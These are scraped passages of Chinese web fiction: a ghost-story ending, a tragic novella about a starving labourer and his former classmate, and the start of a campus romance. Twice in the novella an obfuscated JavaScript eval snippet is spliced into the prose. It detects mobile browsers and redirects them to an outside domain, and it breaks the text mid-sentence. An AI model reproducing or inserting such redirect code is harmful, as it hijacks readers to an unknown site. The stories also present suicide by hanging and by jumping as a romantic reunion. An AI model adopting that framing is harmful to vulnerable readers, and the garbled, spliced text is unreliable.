老者拄着拐杖,并没有走过来,似乎也是忌惮。 “周二家的,还不赶紧回去!” “我的妹子啊,前些天还托梦给我,要给你拿活计……” 周二嫂子擦着眼泪,捡起包袱,缓缓从地上爬了起来,哭得伤心。 “周二嫂子先回吧,兴许是我记错了。” 一瞬间,心思百转,荀松便想明白了。 渔村都是穷人,周鱼娘死了谁也不愿踏进她家一步来沾晦气,何况家里还有自己这个残废的累赘呢? 或许,大家都等着自己活活饿死吧。 既不救人,也没害人,人心何其卑鄙,何其丑陋。 傻的唯有周鱼娘一人,一个彻彻底底的傻丫头。 天慢慢黑了,荀松没有点灯,独自在木桌前站着。 “少爷,我回晚啦,您先等等我这就做饭……” 熟悉的声音从屋外传来,就连扁担撞击鱼筐的声音都那样熟悉。 “鱼娘,是荀松对不起你。” 荀松喉咙干燥,缓缓吐出一句。 “少爷……您哪里话,您是我们家的救命恩人,阿爹说要不是你当年在河上把我们捞起来,我们哪有命啊。” “鱼娘,你别忙活了。槐花要谢了,你进来再陪我说说话罢,以后也不知道……” 堂堂男儿,受刑罚时也不曾落泪,此刻荀松竟哽咽了。 “少爷,您知道了?” 原来清冷的不是周鱼娘的声音,而是成为鬼的她声音本就如此。 “鱼娘,我荀松活了二十有二,却在这一年间看透了时态炎凉,人心丑陋。鱼娘,槐花要谢了,你带我一起走罢。” 荀松坐到木桌上,一手拉着早已搭在梁上的腰带,一手缓缓将双脚放在板凳上。 “少爷,您才高八斗,是有才学的人,您不能……” “鱼娘,你进来,你进来帮帮我。” 荀松额头冒着汗,拉着腰带咬牙慢慢站起。 “少爷,鱼娘泡在洪水里,相貌实在丑陋不堪……” “鱼娘,不管到了哪里,你都不丑。鱼娘,我已经对这人世没有了指望,你等等我,一刻钟便好……” 板凳倒地的声音穿过草帘,周鱼娘脸上浮肿,眼窝深陷,头发衣服滴着水,站在灶间。 是啊,少爷可还有活路?即便他现在能走了,可依旧是个残废,昔日傲视群儒,如今怎么苟活?自己若是活着还能照顾他,可如今成了这般模样,他只怕连这渔村都出不去…… “鱼娘,走罢。” 今年的七月十五,没像往年那样乌云遮月。 月光皎洁,槐花清冽。 荀松拉着周鱼娘,一直伸到胸前的舌头让他说话有些费力,可肿胀的眼里含着的却是周鱼娘生前不曾见过的灿烂。 “少爷,我扶着您。” “傻丫头,都成了鬼了,何须‘走’呢……” 名都有四景。 其中三景皆为众人欢喜,唯独那槐花成群,却是美得让人心悸。 大抵是因为:人心没有那一尘不染的白。 40. 莫子归 1、 今天太阳很大,晒得我脸颊发烫。 我同昨天一样。 从工地出来又去送货,然后我要赶往下一个打工点。 只是我到便利店门口时,却看到了三年没有见到的人。 林然。 他和以前一样帅气,也更成熟了。棱角分明的脸,更让人移不开眼。 我一直告诉自己忘了他,可还是感觉到了心脏的颤动。 但是过去的经历告诉我,林然不是我能肖想的。 三年前的事要是没有发生,我可能还会安慰一下自己的痴心。 那时我迷恋林然。 趁他在宿舍睡着时偷吻了他。 我被同学辱骂,他们骂我脏,骂我是变态。 因为我性骚扰了林然。 他厌恶我,我离开了。 现在的我浑身都是臭汗,外面罩着的衣服全是刚搬完水泥沾的土。 这个最讨厌我的人,优雅的男人,突然出现在我的面前。 他是靠在宾利车上的。 看了一眼腕上的表,皱着眉,他很不耐烦。 “昨晚班级的聚会你为什么不参加?” 没想到他问的是这个。 我把黏糊糊的手套摘下来甩了甩看到他直接退开了。 他是一个有洁癖的人,怎么可能会接近我这样肮脏的人呢? “我在问你话呢。”他好像很生气。 我把脏的外套脱下来抖了抖,这才看向他。 “我早就退学了,我们早已不是同学。” 那个班级的聚会关我什么事呢? 就是那些所谓的班级同学,站出来为他证明的。 全都指证我是一个罪人。 骂我不要脸。 下晚自习趁夜把我打个鼻青脸肿。 这个世上所有难听的话,能往我头上扔的,他们绝不手软。 甚至我还会碰到被男人骚扰。 最后是我被退学。 我与那群人再也没有什么关系。 而那个时候我才知道,我是多么自不量力。 我眼中的林然,只是一个我深爱着的人。 可他们眼中,林然是林氏集团的继承人。 如今早就结束了。 三年前一切都结束了。 我从高一开始的痴恋,结束于大二的冬天。 这三年来,我因为身无所长,四处奔波,每天要 打好几份工,才能让我勘勘活下来。 我因为长年从事重体力劳动,年纪轻轻却有一身的毛病。 可是我却不能停下来,因为我还有妹妹要养。 她刚上大一,我不能让她像我一样没有希望。 我要供她读完大学,找个好工作。 另外我也要生活。 我需要想各种办法挣钱。 我的手机突然响了。 原来是关于我体检的事。 上周工地有体检福利,我也去了。 只是没想到,命运又跟我开了玩笑。 “莫子归先生,你的心脏出了一些问题,最好尽快住院。” 医生建议我至少要休养半年。 我的心脏已经不堪负重了。 2、 医生的建议我也只是听听而已,我还要赚钱养家呢。 我没有理会林然,推开便利店的门走了进去。 晚8到早8,是我的工作时间。 当我换上干净的工作服,一双骨节分明的手把一包烟扔在柜台上。 “结账。” 没想到他如今抽烟了。 我推给他一个结账码,就坐在柜台里拿出手机玩消消乐。 却听到了他的嘲笑。 “莫子归,这么多年过去了,你还是这么不长进。” 过了三年了,我的一切还是让他觉得恶心。 我低头没有说话。 “你真是让我太失望了。” 我对于他还有什么希望吗? 他看着墙上贴的员工列表。 “你的同事是男是女啊,他们不知道你喜欢性骚扰吗?” 我瞪着他,心口微微发疼。 “滚” 他看着我微微愣了一下,大概没想到我也是个有脾气的吧。 不过他竟然走了。 第二天早上我就被辞退了。 因为昨天老板在仓库点货,听到了我们的谈话。 “小莫啊,我这只是个小店呀,经不起折腾。” 这个便利店晚上来的人很少,我晚上还能在这里休息。 再找一份类似于这样的工作,几乎不可能。 我把老板打给我的工资,全转给了妹妹。 路过麦当劳,要了一杯免费的开水。 掏出两块饼干泡了进去。 这是我的早饭。 在那家便利店的另一个好处,就是我天天可以捡到别人吃剩下的饼干或者面包。 现在这个没了,相当于我没了早饭。 中饭是在工地上吃的。 我不吃晚饭。 我好久没有这么窘迫了。 上一次是在我被退学的时候。 我冲到老师办公室,去要回我的学费。 可老师却像躲瘟疫一样,站得远远的。 我拿着水果刀比在脖子上,甚至在脖子上划出了一点血。 我顺利拿回了学费,都给了妹妹。 我本来会有奖学金和助学金的,因为退学,也没有了。 当时我没有一分钱,要饿倒在路边时,从垃圾桶里翻出半个馒头。 现在的我也没一分钱,中午在工地上吃了两份饭菜。 晚上送完货,我又去应聘了好几个夜班的工作。 对方都不要我。 要么是觉得我太瘦,体力活不适合。 要么知道我白天在工地上干活,怕我倒在岗位上连累他们。 夜里我只能挤到几个流浪汉旁边,却怎么也睡不着。 秋风呼呼的刮着,冷得我上下牙齿打颤。 好久没有睡在外面了。 3、 遇到林然大概是我的劫数。 怪我自己眼睛不好,只觉得他特别勾人,走到哪里都是人群的中心。 他走到哪,我的心就跟在哪。 却没有想过,他这样万众瞩目的人,不是普通家庭能培养出来的。 他父亲是商圈的大佬,爷爷和大伯又是从政的。 我竟然敢看上这样的人。 然是林家最有希望的商界继承人。 这两年我在新闻上经常看到他。 我想远离他,却又忍不住关注他。 我好像又看到他了。 是我做梦了吗? 他西装笔挺,穿着一双高级皮鞋。 冷着一张脸,抬脚踩在我的手上。 “你怎么待在这样的鬼地方?” “你又想博谁的同情呢?” 他用手指着旁边躺着的几个流浪汉。 “莫子归,你是一点都不挑食呀。” 他的眼神充满了鄙夷。 我的心微微发疼。 用力从他脚底下抽回我的手,不敢看他一眼。 他为什么会出现在这里? 这个地方背靠着一个很大的垃圾场,臭气熏天。 他有洁癖,手上总戴着一副手套。 在我坐起来后,他立即向后退了两步。 “你可真够脏的。” 我知道我肮脏。 可我要活。 那几个流浪汉也起来了,我立即跟在了他们后面。 这是我曾经流浪的经验,跟着他们有吃的。 有两大车新垃圾刚被倒下。 我很幸运,从里面捡到半块面包。 捏着软软的。 “你在干什么?” 面包没来得及送到嘴里,就被他打在了地上。 林然竟然还跟着我。 我弯腰去捡。 他比我快一步,一脚踩在了面包上面。 面包被他的脚全部碾碎了。 我的早饭没了。 “莫子归,你、你.……” 我看到林然脸色都变了,嘴唇发颤。 是啊,他这样的贵公子肯定被吓坏了。 这么脏的东西,怎么会有人吃呢? 可我不吃就会饿死的。 没有早饭,我心里就发慌。 我还要走1个多小时到工地去。 我从地上又拣起一根辣条,都发黑了。 快速地塞地嘴里,有点硌牙。 “莫、莫……” 他的声音被风吹散了。 天越发冷了,我跑了起来。 “呕……” 他吐了,我知道,我让他觉着恶心、肮脏。 三年前也是这样。 我吻他的时候,他也吐了。 我从高一的时候就喜欢他,对他是一见钟情。 所有认识我们的人都知道我对他的这份感情。 可他却像是丝毫没有察觉这些。 仍然与我保持着不错的同学关系。 我的家庭条件不好,父母早逝,还有一个妹妹。 我要靠着救济金生活。 他很照顾我。 让我死心塌地爱上他的那一瞬间。 是我过生日的时候。 他带我去吃蛋糕。 只有我们两个人。 在学校的操场上,他用打火机慢慢地点燃了每一根蜡烛。 烛光下他深邃的眼神里,只有我一个人。 “莫子归,生日快乐。” 4、 “小莫啊,你这两天怎么吃这么多?” 工头见我又吃了两份饭菜,很不高兴。 我把最后一口馒头咽进肚子后,大大地打了个饱嗝。 工头不满意地瞥了我两眼。 你现在怎么脏兮兮的在工地干活谁不脏呢? 我刚失去了便利店的工作,不能再失去这个工作了。 我多干了1个小时才下班的。 工头很高兴。 是我去送货的时候,晚了半小时。 这个月的全勤没了。 月底少拿150元。 150元,是我三个月的伙食费。 我用两只手数来数去,不停地数。 三个月的伙食费没了。 突然我站起身。 马路对面的破花坛里,有一朵小红花。 非常不显眼。 我怎么能忘了呢。 今天是爸妈的忌日。 我摘下那朵不起眼的小红花。 一口气跑到了郊外。 我坐在爸妈的墓碑前,轻放下那朵花。 “爸,妈,我来看你们了。” 我靠着墓碑睡到半夜,被冷风吹醒的。 天不亮我就到了工地附近。 找了个24小时营业的麦当劳,去卫生间里洗了把脸。 镜子里的我与那些流浪汉已经没有区别。 我已经认不出本来的样子了。 我又洗了头,洗了脚。 找保洁阿姨要了针线,把我破洞的袜子缝好了。 到工地后,工头又嫌弃我了。 “小莫啊,你多久没洗澡了?” 这个月才过了一半,我不能丢掉这个工作。 我跳到冰冷的河水里,帮工头打捞他给小三买的戒指。 镜子里的我与那些流浪汉已经没有区别。 我已经认不出本来的样子了。 我又洗了头,洗了脚。 找保洁阿姨要了针线, 一个好心的工友借了我身干衣服换上,我才算没感冒。 但是我今天没有吃中饭。 心口就像压着一块石头。 我晚上回到垃圾场的时候,发现这里被打扫的干干净净。 其他流浪汉也不知道哪去了。 我又回到了市区,挨个翻垃圾桶。 找到半袋过期的猫粮。 有一股淡淡的腥味。 我觉得还挺好吃的。 我找了个背风的地方躺下了。 正当我睡得香的时候,突然感觉怀里抱着的猫粮 被抢走了。 “我的饭。” 我一睁眼,居然看到了林然。 他森寒的眼神,像是能刮了我一样。 我的饭正被他提在手上。 “莫子归,你是想博取我的同情吗?” “你知道我今天来相亲,所以来恶心我的,是吗?” “你还真不要脸。” 是啊,我就是这么不要脸。 三年前,我趁他睡着,偷吻了他。 可他明明也回吻了我,甚至咬到我的舌头。 但是,他突然又推开了我。 就是说得这样的话。 “莫子归,你真不要脸。” “你让我觉得恶心。” “扑通”我给他跪下了。 正如我今天给工头的小三跪下一样,求他们再给我个机会。 我在冰冷的河里呆了一整天,才找到那只小小的钻戒。 我要活下去啊。 要脸干什么。 我跪在林然的脚下,喃喃道, “都是我的错。” 5、 “都是我的错。” 都是我眼瞎,没有看清他的高不可攀。 我也没有看到,他今天在对面的酒店里相亲了。 我就是想找个地方睡一觉而已。 都是我的错,我不该出现在这里。 我抬头看向他。 “我可以走了吗?” 我还跪着。 他的表情满是不可置信,用手指着我,整个人都在发抖。 他抖什么啊,哦,一定是被我的不要脸给吓到了。 对,他那样高贵的人,肯定没见过我这样的。 我朝他伸出一只手。 “把我的饭还给我。” 他抖得更厉害了,眼圈居然红了。 我不理解他为什么会这样。 是嫌弃我了么。 对,是该恶心我的。 “阿然。”一个身着华丽礼服的年轻女人,走了过来。 不过她停在了十步之外,一只手捂在鼻子上。 “阿然,他是乞丐吗?” 我听到林然冷漠的声音说“是” 对,我就是乞丐。 乞求一份不属于自己的感情。 “我的饭。”我固执地伸着一只手。 就在我以为林然会再次踩碎我的饭时,那袋猫粮被丢在了我的身上。 我赶紧把滚到地上的猫粮,一颗颗拣起来。 放进了嘴里。 “阿然,赶紧走呀。”那个漂亮的女人明显被吓到了。 “他肯定是个疯子。” 我低着头认真吃着为数不多的猫粮。 并没有看到,林然紧咬的牙关和赤红的眼睛。 “阿然,我好害怕啊。” “我送你回去。” 他们的声音越来越远。 我还跪在那里。 因为我肚子不饿了,我还睡了个好觉。 夜里的冷风,我已经适应了。 “今天开发商的领导来视查项目,你就要出现了。” 工头看着我摇了摇头。 “天天一副鬼样子,要死不活的,真晦气。” 可以不用干活,白拿一天工资,我当然乐意了。 中午饭有肉,我吃了三人份的。 工头顾不上管我,他去陪大领导了。 听工友说,大领导对我们的伙食很重视。 专门去看了食堂和菜单。 工友说那人很年轻,却是个傻子。 工头怎么可能会把真正的菜单给他看。 全都是胡弄鬼的东西。 清汤白菜两个馒头,是每天的中饭。 工友邀请我住他那,他们十几个人租了一个大通铺的房子。 挤一挤,还是能挪出一个位置的。 我摇摇头,谢谢他的好心。 我要长期住的,就得和他们平摊房租。 即使他们真好心不收我钱,我也不能去。 大家都是可怜人,谁活着也不容易。 何况我没一分钱。 晚上送完货,我伸了个懒腰。 竟然又看到了林然。 他一改之前恶劣的态度,用手指了指身后的豪车。 “上车。” 6、 我不知道林然是怎么想的,让我这样一个肮脏的人上他的豪车。 那么干净,车里还有淡淡的香水味。 我确实上来了,因为车里暖和。 刚才下雪了。 我身上味道很臭的,不过我自己闻不到。 林然坐到离我很远的位置,他紧紧靠着车门。 他有很重的洁癖,我不明白他图什么。 多年前,他给我过生日的时候,我就误会过。 现在不会了。 高中三年,大学两年,整整五年。 他每年都帮我过生日。 那时候我觉着我很幸福。 在有限的生命里,遇到这样一个人。 我爱他,他也爱我。 可是我错了。 我把友情错当成了爱情 不过以后不会了。 “先喝点粥吧。”他的声音听着很阴沉。 我摇了摇头。我不吃晚饭的。 不过我还是把他手上的粥拿了过来,暖暖的。 “我放着明天早上吃。” “莫……”他的声音又在颤抖。“小莫……” 好久没有听他这么叫我了。 自从那件事以后,他只叫我的全名。 其实在这个世界上,最早叫我小莫的不是他。 是我的爸妈。 只是多年前的一场车祸,夺去了他们的生命。 我的父母当场死亡,我紧紧抱着妹妹。 我们活了下来。 对方酒驾后失控,撞死了两个活生生的人。 只判了两年。 当时我与妹妹太小,一分赔款也没落在我们的头上。 我们被送到同一家孤儿院。 “小莫,你总生活在自己的世界里。” 那时的林然对着我笑。 “小莫,这个世界有很多美好的东西。” “小莫,你用眼睛去看可我看错了。” “小莫,小莫……”我听到林然急切的声音。 “小莫,你怎么了?” 我伸手摸了一下脸,我居然哭了。 他好像很关心我。“你怎么了?” 我摇了摇头。“我听到爸妈在叫我。” 他的脸色瞬间就白了。 林然出身好,天不怕地不怕。 他怕鬼。 “哈哈……”我笑得都咳嗽了。 然后我真的咳了起来。 “咳咳……” 我感觉心脏要跳出来了,又闷又痛。 我抬头看着他,他还是被鬼吓得白着一张脸。 我笑着打开门离开了他的豪车。 我找了一个角落蹲坐了下来。 其实我没有骗他。 我刚才确实听到了爸妈的声音。 我在一天天数着日子。 马上到月底了,就要发工资了。 我找到了一个夜里不冷的地方。 是一个饭店的后墙,靠上去特别暖和。 到夜里也暖和的。 今年的冬天来的有点早,听说有极寒天气。 我找了两个厚纸板放在地上,紧了紧身上的衣服。 靠着暖暖的墙,准备美美的睡上一觉。 当我快睡着的时候,听到了轻微的脚步声。 我本不打算理会。 只是这个脚步声太熟了。 他的一切我都熟。 声音,身形,还有步伐。 我无奈地睁开眼瞪着他。 却看到让我震惊的一幕。 林然哭了。 他眼睛通红,饱含着泪水,硬撑着不让流出来。 这个情景我太熟悉了。 当年他知道我父母双亡时,就是这个样子。 他好像说,“小莫,让我照顾你。” 我觉得我出现幻听了。 林然在跟我道歉。 “小莫,对不起!” “小莫,对不起!” 7. 林然蹲在我的旁边,一边说对不起,一边在哭。 他的泪好像有点多。 也很不值钱。 他居然把手套摘了下去,紧紧握着我的脏手,给 我搓手。 “小莫,我不知道会变成这样。” 我摇了摇头。 不是他的错。 是我不对。 他能有什么错呢? 是我会错意,错把友情当爱情。 是我贱,我蠢,我没有看清自己是个什么东西。 我用力抽回了自己的手。 “林然,对不起。” 我不知道我要说什么,他才肯放过我。 “我是一个贱人。” 他肩膀颤了一下。 应该有用。 他是想听这些的吧,有些话,他这样的高贵的人说不出口的。 我呵呵地笑了。 “我这人特别恶心,就爱占人便宜。” 我从脖子上扯下一条链子,扔在地上。 这是我18岁的时候,他送我的生日礼物。 后来我才知道,这是一个大品牌的限量款。 很值钱。 我到现在吃不起饭,从没想过把它卖了。 可我想活下去。 不想陷在过去的噩梦中了。 林然离开的时候,有些站不稳。 大概是蹲久了。 他拿走了那条链子。 再也没有说过一句话。 不过人倒霉到极限的时候,往往会碰到好事的。 之前的那个便利店老板,到工地找到了我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353474|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想让我再回去上班。 因为我离职后,他招的那些人,都吃不了苦。 上个三四天夜班,就撑不下去了。 老板又要重新招人,这中间就要他自己顶夜班。 一来二去的,时间都浪费在招人上面了。 他自己又要上夜班还要负责白天进货和理货,不到半个月,整个人瘦了一大圈。 我也可以住在店里,老板专门收拾出了一个小房间。 我对这个条件还是挺满意的。 我再逞能,再要自尊,也要得活下去才行。 当天晚上我就在便利店住下了。 舒服的躺在床上,让我觉得不真实。 我有快三年的时间,没在床上睡过觉了。 只是在上卫生间的时候,看到镜子里的我时。 我差点没有认出来。 我为什么会瘦成这样? 几乎是皮包骨,眼眶深陷,脸色苍白。 我的脸白的很不正常。 我的心口那里又微微发疼。 突然间我的喉咙痒痒的。 我不由自主地咳了起来。 “咳咳……” 我咳出了一大口血。 我以为我会晕过去。 结果并没有。 我还能精神气爽地为夜里买东西的客户结账。 我差点以为自己是回光返照了。 8、 我去工地上班,迟到了。 便利店的那张小床上,我睡得太舒服了。 就睡过头了。 工头没有在。 工友说工头包小三的事被原配知道了。 所有人都以为原配会大闹的,结果当天下午工头带着小三又回来了。 他们特别高兴。 这个小三有点本事,帮工头签了一笔大生意。 原配想闹也闹不起来。 他们这笔大生意就是帮一个豪门公子装修婚房。 婚房靠在海边。 我这才知道,林然要结婚了。 我丝毫感觉不到心痛。 我已经放下了。 我挺开心的。 晚上去送货那里上班时,被告知这个月之后我就不用来了。 因为我在搬货的时候,吐血了。 老板并没有马上赶我走。 听到我说不是传染病后,时间宽限到干完这个月。 我也没有再去重新找另外一份工作。 我浑身使不上力气。 我没有什么所长,也没什么地方能用我的。 月底的时候,我拿到了三家的工资。 送货那里还多了200块。 那个老板让我去看病,年纪轻轻,别拖坏了身体。 我笑着点头。 我把钱都打给了妹妹,自己留了50块钱当饭钱。 我和她聊了一会儿,知道她在帮人补习,已经开始挣钱了。 我的妹妹真是了不起。 她学会照顾自己了,我很放心。 即使以后我走了,他也能照顾好自己。 就在我以为林然去筹备他的婚礼,再也不会出现时。 他突然又出现在了我的眼前。 “一包烟。” “一包烟。” “一包烟。” ………… 他在便利店里连续买了十几包烟,结了十几次账。 我放下手里的消消乐。 “林然,你发什么神经?”林然突然笑了。 “小莫,小莫,你知道吗?” “你又骂我了。” “小莫,小莫,小莫……” 他连续叫了我十几次。 恍惚间,我似乎看到那个明媚的午后。 趴在公共教室后面睡觉的林然,被我用书敲醒了。 “林然,你这次真的想挂科吗?” “林然,你真是有病。” “小莫。”眼前的林然不是我心里的那个,他还在对我笑。 “小莫,我们那时的美好,你都想起来了吗?” 他紧紧攥着我的手,他的手很暖,我却觉得浑身冰凉。 美好? 我和他有过吗? “呵呵……”我又笑了起来,用力甩开他的手。 “林然,我早就不爱你了。” “不可能的。”林然摇头,满脸的慌乱。 是我没有见过的。 “小莫,我知道,你说的都是气话。”林然绕到柜台后,拉近与我的距离。 “你一直都爱着我,对不对?” 我吃吃的笑出了声。 “你不是说我恶心吗?” “呵呵呵,我让你恶心啊,咳咳……” 我喉咙里像烧着了一样,一口血喷了出来。 喷到了林然的身上和脖子上。 昏过去的时候,我看到他无措的慌乱与心疼。 不管他心疼的是谁。 千万别是我。 9. 我醒来的时候,身上插着各种管子。 脑袋嗡嗡作响,呼吸不顺畅。 缓了好一会儿,听到有人惊喜说:“他醒啦。” 是便利店的老板。 他真是个好人,放着店不管,来看着我。 真是为难他了。 “呵呵,林先生一直陪着你,刚出去。” 原来他只是暂代一会儿的。 不过他是我碰到不多的好人。 “你发烧了很长时间了,你不知道吗?” 我眨眨眼睛,说不了话。 面上罩着呼吸器。 不过最近一直觉得头闷闷的,原来我在发烧。 大概是我跳进冰冷的河里,给工头小三捞钻戒那天吧。 应该就是了。 那之后,我总觉着我浑身没有力气。 林然进来了,身后跟着大夫。 他眼睛赤红,又像是哭过的。 他最近的不值钱的泪,还真是多。 我闭上眼睛没有理他。 因为没有力气,手由着他握着。 他现在不觉着是我恶心到他了? 听到大夫说了一些关心的话。 有几个关键的字。 “心衰严重。” 看来,我是真的活不长了。 一个人快走到尽头的时候,是有感觉的。 我最近看到爸妈的次数增加了。 也没怎么做恶梦了。 在飘着雪的街道上睡觉,没有寒冷的感觉。 林然握着我的手,我感觉不到什么温度。 我听到店老板说:“林先生,你们感情真好。" 我嘴角浮上一丝冷笑。 我怎么可能和这样的人有感情呢? 我不配啊。 只是我又晕过去了。 听到了林然的惊呼声,他是那么的着急。 他大概有病。 我再醒来时,是被吵醒的。 病房里只有我一个人,还有"嘀嘀"的仪器声。 声音很微小,我听得很清楚。 是工头和他的小三。 “林总,求求你放过我们吧。” “那天是他跳进河里的,跟我们没关系。” “求求你,我上有老下有小……" 我记得工头是入赘的,他家老小跟他没有关系。 门打开有人进来了。 是林然的脚步声。 他坐在床边紧紧握着我的一只手,热泪滴在了我的手上。 “小莫,我帮你报仇了。” “我会让他们受到法律的严惩。” 虐待劳工,确实是有罪的。 我抬眼望着他,看到的是一张深情的脸。 我有点看不清他的脸了。 好像听到他激动地说:“我爱你。” “呕…” 我突然干呕了起来,胃里难受。 心口发疼,眼前发黑。 再没有感觉。 “准备后事吧。” “家属要有心理准备。” 我感觉到我身体轻盈了起来,听到大夫的声音。 我飘在了半空中,看到林然抱着我身体哭得很伤心。 他一遍又一遍地说:“小莫,我爱你,是真的爱你!” “我后悔了,我早就后悔了。” “小莫,对不起!” “小莫,你会原谅我吗?” “小莫……”林然是个变态。 他把我的骨灰放在了他的婚房。 摆在了客厅里,旁边放着的是他的照片。 不知道什么原因,我死后竟然像一缕青烟一样跟着他。 他到哪儿我就得到哪儿。 我也逃离过,离开10步立即回到他身边。 他取消婚约后,林父林母都来找过他多次。 看到他半死不活的样子,失望地离开了。 他也辞去了现在的工作。 整天待在家里,陪着我。 一盒骨灰。 他不厌其烦地摸着骨灰盒,絮絮叨叨地说着这些年他对我的思念。 还有爱。 我虽然是灵魂,可吐了。 我蹲在墙角呕了好几下。 我不知道他用什么心情来自我陶醉的。 “小莫。” 他突然在别墅里到处找我,大喊我的名字。 期间还摔倒了好几次。 “小莫,我知道你在。” “别躲着我好不好?” 我差点以为他看到我了。 可他却突然冲到骨灰盒跟前紧紧抱起来,亲了好几下。 他有点发疯,把骨灰盒放在脸颊上蹭了蹭。 声音里带着无限的柔情。 “小莫,我好想你呀。” “第1次见你的时候,就很喜欢你。” “你看着那么乖巧,一直在冲我笑。” “你笑起来真可爱。” 我实在受不了他。 想离开,却走不开。 我冲他大吼。 求他放过我。 我已经死了。 即使去投胎,我也不希望再碰到他。 只是我小瞧了他的疯狂程度。 他用我的骨灰的一小块碎骨,做成了首饰。 一颗很小的珠子。 他说那是我送给他的。 他许愿我们要永生在一起。 他把珠子穿在了我扔掉的那个链子上。 他戴在脖子上,对着镜子左照右照。 我就站在他的身后。 我想把那颗珠子扯下来。 我不想与他再有任何联系。 可我的手直接穿过了他的身体。 我整整在他身边徘徊了一年。 直到他的纵身一跃。 降落之中,他看向天空的同时,看到了我。 他很想抓住我,用力向我伸着手。 可他与我的距离越来越远,直到他落到地面。 永别了。 林然,生生世世不要再见。 【正文完】 41. 林然 我是林然。 我有一个不能言说的爱人。 第1次见到他的时候,我就爱上了他。 可我不能让任何人知道。 我的家庭,以及我未来要走的路。 不允许我喜欢上一个同性。 我告诉他,我们是友情。 在知道他父母双亡后,我忍不住哭了。 我当时激动地说“我会照顾他的。” 他太让我心疼了。 高中三年,我每年都为他过一个特别的生日。 18岁那年,我送了一条为他专门去定制的链子。 希望他以后都幸福。 我却有种痴念,他的幸福里有我。 我在他的眼睛里看到了我。 我知道他也爱我。 他不知道,我多么想把他搂在怀里。 告诉他,我有多爱他。 我们考上了同一所大学,一个班级。 甚至在一个宿舍。 听着他入睡的声音,我就觉得很满足。 可是他却打破了这种平静。 他趁我睡着的时候,吻了我。 我不自觉地回吻了他。 可突然间我却惊醒,我推开了他。 故意当着他的面呕吐,想让他知难而退。 没想到这件事影响那么大。 我当时想的是逼他退了学,我给他安排好之后的生活。 可他却消失了。 我怎么也找不着。 在大学同学的聚会上,听到一个同学嘲笑他。 说看到他在工地上工作。 他一直都是白白净净的,怎么能去干那种活呢? 我在便利店门口等到了他,他刚从工地下班。 还要到这里工作。 他这么辛苦,我心口发疼。 可是不想让他误会我的友情,我故意刺激他。 但是,他好像不爱我。 我好几天没有见他了,心里发慌。 我在垃圾场看到了他,他与一群男人挤在一起睡。 我很生气。 又骂了他。 可他一点也不在意,从地上捡垃圾吃。 一开始我以为他是为了气我。 后来才知道他这三年就是这样过来的。 到处流浪做零工,没有钱租房子住。 我想帮助他,可我害怕看到他那双黑亮的眼睛。 看到他因为饥饿吃过期猫粮,我差点崩溃。 我心疼他,我恨自己。 是我造成的这一切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353475|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我在雪地里找到他,想带他走。 可他淡漠的眼神,让我无法开口。 在他的眼中,我才是那个真正肮脏的人。 我逃走了,要不然我会忍不住抱住他,哀求他。 我的自尊和我的家庭教育,不允许让我向别人低头。 我给了便利店老板一些钱,让他把人请回来。 帮我照顾他。 这是我现在能做的事了。 我本打算慢慢地和他相处,回忆起我们过去的美好。 一点一点打动他,慢慢原谅我。 只是一切都晚了。 他吐血了。 大夫说他心衰严重,已经没救了。 平常会出现心脏麻痹,没有吃药,耽误了病情。 也因为前段时间受寒生病发烧,一直在烧着。 我跟了他那么多天,看着他一天天瘦下去。 竟然没有察觉他是生病,直以为他是饿的。 他是死在我的怀里的。 我帮他发了那些害过他的人。 可没有用,小莫再也回不来了。 莫子归,我天天想你想得睡不着。 在他去逝一年后,我决定去陪他。 没有他的世界,我无法独活。 【全文完】 42. 第 60 章 "厉川!接球!" 篮球场上,云舟一个假动作晃过防守队员,手腕一抖把球传给三分线外的厉川。阳光下,汗珠顺着厉川的下颌线滑落,他接球、起跳、投篮,动作一气呵成。 "唰——"空心入网。 "漂亮!"云舟小跑过去,习惯性地伸手想揉厉川的头发,却被对方偏头躲开。 "别碰,都是汗。"厉川面无表情地擦了擦额头,转身往场边走去。 云舟的手尴尬地悬在半空,他眨了眨眼,小跑两步跟上:"喂,你今天怎么回事?从早上开始就怪怪的。" "没有。" "肯定有!你早饭都没等我一起吃。" 厉川拿起矿泉水灌了一大口,喉结上下滚动:"起晚了。" 云舟撇撇嘴,突然凑近盯着厉川的眼睛:"骗人,你明明六点就醒了,我听见你洗漱的声音了。" 被突然靠近的云舟吓了一跳,厉川呛了一口水,咳嗽起来。云舟赶紧拍他的背,手掌接触到温热皮肤的一瞬间,厉川像触电一样躲开了。 "......我去洗澡。"厉川抓起毛巾就往更衣室走。 云舟站在原地,挠了挠头:"这家伙吃错药了?" "舟哥,"队友王磊凑过来,神秘兮兮地说,"你没看学校论坛吗?" "什么论坛?" 王磊掏出手机,点开一个帖子:"喏,昨天外语系的系花给你表白,有人拍到照片发论坛上了,都传疯了。" 云舟盯着手机屏幕,照片上他正和外语系的系花站在教学楼前说话,女生低着头,手里拿着一个粉色的信封。 "这哪是表白啊,"云舟哭笑不得,"她就是问我借专业课笔记。" "真的假的?论坛上都说你俩成了。" "成个鬼,我连她叫什么都不知道。"云舟把手机还给王磊,突然想到什么,"等等,厉川今天早上是不是也看过这个帖子?" 王磊点点头:"对啊,我们一起刷到的,他看完就把手机锁屏了,脸色特别难看。" 云舟一拍脑门:"我就知道!这家伙肯定误会了!" 